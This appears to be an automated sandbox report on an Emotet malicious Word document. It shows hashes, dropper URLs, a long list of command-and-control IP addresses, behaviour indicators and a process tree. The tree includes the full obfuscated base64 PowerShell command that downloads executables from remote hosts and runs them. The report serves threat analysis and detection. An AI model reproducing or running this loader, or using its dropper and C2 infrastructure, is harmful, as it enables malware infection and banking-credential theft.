emotet | a9efc44ccf4073ea8667329beee1689a890fe0ca71726ad021ea03094950df96

Analysis

max time kernel
136s
max time network
149s
platform
windows10_x64
resource
win10
submitted
17/09/2020, 16:23

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
emotet_e1_a9efc44ccf4073ea8667329beee1689a890fe0ca71726ad021ea03094950df96_2020-09-17__162115._doc.doc
Size 199KB
Sample200917-ey47knd6b2
SHA256 a9efc44ccf4073ea8667329beee1689a890fe0ca71726ad021ea03094950df96
MD5 06103c1cfbaf8fecced662da6bc99fde
SHA1 bb328298bd2dcfe69971b5bc042896d03a4aad17
SHA512 d41a391664f7b667db09a295f346347418d8df4904e693b280820e6ed214bd9570fac351835c60e212fec049123234eb0aecfb02131a51de3dc439922192b923
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://veccino56.com/gjpra/4ZR/
exe.dropper
http://girlgeekdinners.com/wp-content/Hpz/
exe.dropper
http://marblingmagpie.com/COPYRIGHT/Ak/
exe.dropper
http://aplicativoipok.net/wp-includes/ONW/
exe.dropper
http://ec2-52-56-233-157.eu-west-2.compute.amazonaws.com/wp-includes/35/
exe.dropper
https://shd7.life/mlktv/r6/
exe.dropper
https://www.hairlineunisexsalon.com/demo/UX/

Extracted

Family

emotet

174.113.69.136:80
51.38.124.206:80
82.196.15.205:8080
38.88.126.202:8080
190.115.18.139:8080
98.13.75.196:80
181.30.61.163:443
82.76.111.249:443
181.129.96.162:8080
74.58.215.226:80
68.69.155.181:80
188.135.15.49:80
190.163.31.26:80
50.121.220.50:80
51.159.23.217:443
2.47.112.152:80
185.215.227.107:443
217.13.106.14:8080
70.32.115.157:8080
170.81.48.2:80
73.213.208.163:80
5.196.35.138:7080
190.24.243.186:80
192.241.143.52:8080
185.183.16.47:80
184.66.18.83:80
187.162.248.237:80
220.109.145.69:80
51.255.165.160:8080
82.230.1.24:80
94.176.234.118:443
104.131.103.37:8080
50.28.51.143:8080
12.162.84.2:8080
74.136.144.133:80
77.90.136.129:8080
68.183.190.199:8080
96.245.123.149:80
177.74.228.34:80
213.197.182.158:8080
45.46.37.97:80
110.142.219.51:80
192.241.146.84:8080
189.2.177.210:443
177.73.0.98:443
61.197.92.216:80
185.178.10.77:80
212.71.237.140:8080
65.36.62.20:80
190.195.129.227:8090
217.199.160.224:7080
138.97.60.141:7080
155.186.0.121:80
204.225.249.100:7080
92.24.50.153:80
83.169.21.32:7080
190.6.193.152:8080
219.92.13.25:80
186.103.141.250:443
80.11.164.185:80
45.16.226.117:443
67.247.242.247:80
190.2.31.172:80
77.238.212.227:80
64.201.88.132:80
185.94.252.27:443
199.203.62.165:80
190.147.137.153:443
111.67.77.202:8080
172.104.169.32:8080
5.189.178.202:8080
190.190.148.27:8080
191.182.6.118:80
45.161.242.102:80
70.32.84.74:8080
45.33.77.42:8080
72.47.248.48:7080
114.158.45.53:80
209.236.123.42:8080
137.74.106.111:7080
54.37.42.48:8080
95.9.180.128:80
96.227.52.8:443
152.169.22.67:80
104.131.41.185:8080
77.106.157.34:8080
111.67.12.221:8080
61.92.159.208:8080
178.250.54.208:8080
68.183.170.114:8080
78.249.119.122:80
186.70.127.199:8090
216.47.196.104:80
185.94.252.12:80
87.106.46.107:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2020	1784	powershell.exe	73

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/988-16-0x00000000004D0000-0x00000000004E0000-memory.dmp	emotet
behavioral2/memory/988-16-0x00000000004D0000-0x00000000004E0000-memory.dmp	emotet
behavioral2/memory/988-15-0x00000000004B0000-0x00000000004C2000-memory.dmp	emotet
behavioral2/memory/988-15-0x00000000004B0000-0x00000000004C2000-memory.dmp	emotet
behavioral2/memory/1948-19-0x0000000002050000-0x0000000002062000-memory.dmp	emotet
behavioral2/memory/1948-19-0x0000000002050000-0x0000000002062000-memory.dmp	emotet
behavioral2/memory/1948-20-0x0000000000A20000-0x0000000000A30000-memory.dmp	emotet
behavioral2/memory/1948-20-0x0000000000A20000-0x0000000000A30000-memory.dmp	emotet

Blacklisted process makes network request 2 IoCs

flow	pid	Process
12	2020	powershell.exe
14	2020	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
988	Ukfj0bw.exe
1948	wmiclnt.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\eventcls\wmiclnt.exe	Ukfj0bw.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3676	WINWORD.EXE
3676	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2020	powershell.exe
2020	powershell.exe
2020	powershell.exe
1948	wmiclnt.exe
1948	wmiclnt.exe
1948	wmiclnt.exe
1948	wmiclnt.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2020	powershell.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
3676	WINWORD.EXE
3676	WINWORD.EXE
3676	WINWORD.EXE
3676	WINWORD.EXE
3676	WINWORD.EXE
3676	WINWORD.EXE
3676	WINWORD.EXE
3676	WINWORD.EXE
3676	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2020 wrote to memory of 988	2020	powershell.exe	79
PID 2020 wrote to memory of 988	2020	powershell.exe	79
PID 2020 wrote to memory of 988	2020	powershell.exe	79
PID 988 wrote to memory of 1948	988	Ukfj0bw.exe	82
PID 988 wrote to memory of 1948	988	Ukfj0bw.exe	82
PID 988 wrote to memory of 1948	988	Ukfj0bw.exe	82

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_a9efc44ccf4073ea8667329beee1689a890fe0ca71726ad021ea03094950df96_2020-09-17__162115._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3676

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -encod JABUADgAeAB1AG4AdQAyAD0AKAAoACcARgAnACsAJwB2AGYAJwApACsAJwBsACcAKwAoACcAYgAnACsAJwB5ADcAJwApACkAOwAuACgAJwBuACcAKwAnAGUAdwAtAGkAdABlAG0AJwApACAAJABlAE4AdgA6AFUAUwBlAHIAcAByAG8AZgBJAGwAZQBcAEwAVwBmAHIAaAB4AFUAXABOAEwARgBrAFcANgAzAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQASQBSAGUAQwB0AE8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAQwB1AHIAaQB0AGAAWQBQAGAAUgBPAGAAVABvAGAAQwBPAGwAIgAgAD0AIAAoACgAJwB0AGwAJwArACcAcwAxADIALAAnACkAKwAoACcAIAB0ACcAKwAnAGwAcwAnACkAKwAnADEAMQAnACsAKAAnACwAIAAnACsAJwB0AGwAcwAnACkAKQA7ACQAUQBpAHMAbwA0ADkAOAAgAD0AIAAoACcAVQBrACcAKwAnAGYAJwArACgAJwBqADAAJwArACcAYgB3ACcAKQApADsAJABXAHAAcgBzADQANgAwAD0AKAAnAE0ANAAnACsAKAAnAHkAOABsACcAKwAnAG4AZAAnACkAKQA7ACQAUABwADgAXwA1ADAAZgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAFMAJwArACcAbgAnACsAJwBIAEwAJwArACcAdwBmAHIAaAB4AHUAJwArACcAUwBuAEgAJwApACsAKAAnAE4AbABmACcAKwAnAGsAJwApACsAJwB3ACcAKwAnADYAJwArACgAJwAzACcAKwAnAFMAbgAnACkAKwAnAEgAJwApAC0AcgBFAHAATABBAEMARQAoACcAUwBuACcAKwAnAEgAJwApACwAWwBDAEgAYQBSAF0AOQAyACkAKwAkAFEAaQBzAG8ANAA5ADgAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABXADQAagB3AHMAaQBxAD0AKAAnAEwAJwArACcANQBzACcAKwAoACcAbQB6ACcAKwAnAHQAMgAnACkAKQA7ACQAVgBqAHoAaAAwAGsAdAA9ACYAKAAnAG4AJwArACcAZQB3AC0AbwAnACsAJwBiAGoAZQBjAHQAJwApACAAbgBlAHQALgBXAGUAYgBDAEwASQBFAE4AdAA7ACQASABtAGYANAB1AHQAYgA9ACgAKAAnAGgAJwArACcAdAB0AHAAJwApACsAKAAnADoALwAnACsAJwAvACcAKQArACgAJwB2AGUAJwArACcAYwAnACkAKwAnAGMAJwArACgAJwBpAG4AbwA1ADYALgBjACcAKwAnAG8AbQAvAGcAJwArACcAagAnACsAJwBwACcAKQArACcAcgAnACsAJwBhAC8AJwArACgAJwA0AFoAUgAvACoAaAB0AHQAJwArACcAcAA6AC8ALwAnACsAJwBnACcAKQArACgAJwBpAHIAbABnACcAKwAnAGUAJwApACsAKAAnAGUAawAnACsAJwBkACcAKQArACgAJwBpAG4AJwArACcAbgBlAHIAcwAuAGMAbwAnACsAJwBtACcAKQArACgAJwAvAHcAcAAtACcAKwAnAGMAbwBuAHQAJwArACcAZQBuAHQAJwApACsAJwAvACcAKwAnAEgAcAAnACsAJwB6ACcAKwAnAC8AJwArACgAJwAqAGgAdAAnACsAJwB0ACcAKQArACgAJwBwADoAJwArACcALwAvACcAKQArACcAbQAnACsAJwBhACcAKwAnAHIAJwArACcAYgBsACcAKwAoACcAaQBuACcAKwAnAGcAJwApACsAKAAnAG0AJwArACcAYQBnAHAAaQAnACkAKwAoACcAZQAuAGMAJwArACcAbwAnACkAKwAoACcAbQAnACsAJwAvAEMAJwApACsAJwBPACcAKwAnAFAAJwArACcAWQAnACsAJwBSAEkAJwArACcARwBIACcAKwAnAFQAJwArACgAJwAvAEEAJwArACcAawAnACkAKwAoACcALwAqAGgAJwArACcAdAB0AHAAJwApACsAJwA6ACcAKwAoACcALwAvAGEAcABsAGkAYwAnACsAJwBhACcAKwAnAHQAaQAnACkAKwAnAHYAJwArACgAJwBvAGkAJwArACcAcABvACcAKQArACgAJwBrAC4AJwArACcAbgAnACkAKwAoACcAZQB0AC8AdwAnACsAJwBwACcAKQArACgAJwAtAGkAJwArACcAbgAnACkAKwAoACcAYwBsACcAKwAnAHUAJwApACsAJwBkAGUAJwArACgAJwBzAC8ATwBOAFcALwAqACcAKwAnAGgAJwArACcAdAAnACkAKwAnAHQAJwArACgAJwBwADoAJwArACcALwAnACkAKwAoACcALwBlAGMAJwArACcAMgAtACcAKQArACcANQAnACsAJwAyACcAKwAnAC0ANQAnACsAKAAnADYAJwArACcALQAyADMAMwAtACcAKQArACgAJwAxADUAJwArACcANwAuAGUAdQAtACcAKwAnAHcAZQBzAHQALQAnACkAKwAoACcAMgAuACcAKwAnAGMAJwApACsAKAAnAG8AbQAnACsAJwBwAHUAJwApACsAJwB0AGUAJwArACcALgAnACsAKAAnAGEAbQBhAHoAJwArACcAbwAnACkAKwAoACcAbgAnACsAJwBhAHcAJwArACcAcwAuAGMAbwBtAC8AdwAnACsAJwBwAC0AaQBuAGMAJwApACsAJwBsAHUAJwArACcAZAAnACsAKAAnAGUAJwArACcAcwAvADMANQAvACoAaAB0ACcAKwAnAHQAcABzADoALwAvACcAKwAnAHMAJwApACsAKAAnAGgAJwArACcAZAA3AC4AJwApACsAKAAnAGwAJwArACcAaQBmACcAKwAnAGUALwBtAGwAawAnACkAKwAnAHQAJwArACgAJwB2ACcAKwAnAC8AcgA2ACcAKQArACgAJwAvACoAaAAnACsAJwB0ACcAKQArACgAJwB0ACcAKwAnAHAAcwA6AC8ALwAnACsAJwB3AHcAJwApACsAJwB3AC4AJwArACgAJwBoAGEAaQAnACsAJwByAGwAaQBuACcAKQArACcAZQAnACsAJwB1ACcAKwAoACcAbgAnACsAJwBpAHMAJwApACsAKAAnAGUAeABzACcAKwAnAGEAJwArACcAbABvAG4ALgBjACcAKQArACgAJwBvACcAKwAnAG0ALwBkACcAKQArACcAZQAnACsAJwBtACcAKwAnAG8ALwAnACsAJwBVACcAKwAnAFgAJwArACcALwAnACkALgAiAFMAcABMAGAASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASAB6AHoAMABjAGkAdAA9ACgAKAAnAFAAJwArACcAbgA2AGoAJwApACsAKAAnAGEAMAAnACsAJwBiACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQARwB6ADIAdgA2AGQAdAAgAGkAbgAgACQASABtAGYANAB1AHQAYgApAHsAdAByAHkAewAkAFYAagB6AGgAMABrAHQALgAiAGQATwBXAGAATgBMAG8AYQBgAGQAZgBpAGAAbABlACIAKAAkAEcAegAyAHYANgBkAHQALAAgACQAUABwADgAXwA1ADAAZgApADsAJABFAGoAbwBmADMAXwBxAD0AKAAnAFoAJwArACcAdwAnACsAKAAnAGMAJwArACcAXwBtAHgAZAAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABQAHAAOABfADUAMABmACkALgAiAGwAZQBOAGAARwBgAFQAaAAiACAALQBnAGUAIAAzADkAMAA2ADIAKQAgAHsAJgAoACcASQBuAHYAbwBrAGUAJwArACcALQAnACsAJwBJAHQAZQBtACcAKQAoACQAUABwADgAXwA1ADAAZgApADsAJABaAHcAdwB5AGYANQB4AD0AKAAoACcAWAAnACsAJwBhAGYAJwApACsAJwBvAGgAJwArACcANQBzACcAKQA7AGIAcgBlAGEAawA7ACQAQwBmAHEAZQB3ADgAbAA9ACgAJwBCAF8AJwArACgAJwByACcAKwAnAGcAdAAnACkAKwAnAGEAMAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFgAaABiAG4AcAAyAGEAPQAoACgAJwBUACcAKwAnADcANgAwAGwAJwApACsAJwBpADMAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2020
- C:\Users\Admin\Lwfrhxu\Nlfkw63\Ukfj0bw.exe
  "C:\Users\Admin\Lwfrhxu\Nlfkw63\Ukfj0bw.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:988
- - C:\Windows\SysWOW64\eventcls\wmiclnt.exe
    "C:\Windows\SysWOW64\eventcls\wmiclnt.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:1948

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/988-15-0x00000000004B0000-0x00000000004C2000-memory.dmp

Download

memory/988-16-0x00000000004D0000-0x00000000004E0000-memory.dmp

Download

memory/1948-20-0x0000000000A20000-0x0000000000A30000-memory.dmp

Download

memory/1948-19-0x0000000002050000-0x0000000002062000-memory.dmp

Download

memory/2020-10-0x000001E9B2970000-0x000001E9B2971000-memory.dmp

Download

memory/2020-11-0x000001E9B2B20000-0x000001E9B2B21000-memory.dmp

Download

memory/2020-9-0x00007FFAB8A20000-0x00007FFAB940C000-memory.dmp

Download

memory/3676-0-0x00007FFAC5E90000-0x00007FFAC6556000-memory.dmp

Download

memory/3676-8-0x00000206CEC5B000-0x00000206CEC67000-memory.dmp

Download

memory/3676-7-0x00000206CEC59000-0x00000206CEC5B000-memory.dmp

Download

memory/3676-6-0x00000206CCBAC000-0x00000206CCBB2000-memory.dmp

Download

memory/3676-5-0x00000206CEAA0000-0x00000206CEAB1000-memory.dmp

Download

memory/3676-4-0x00000206CEAA0000-0x00000206CEAB1000-memory.dmp

Download

memory/3676-3-0x00000206CEAA0000-0x00000206CEAB1000-memory.dmp

Download

memory/3676-2-0x00000206CEAA0000-0x00000206CEAB1000-memory.dmp

Download

memory/3676-1-0x00000206CEAA0000-0x00000206CEAB1000-memory.dmp

Download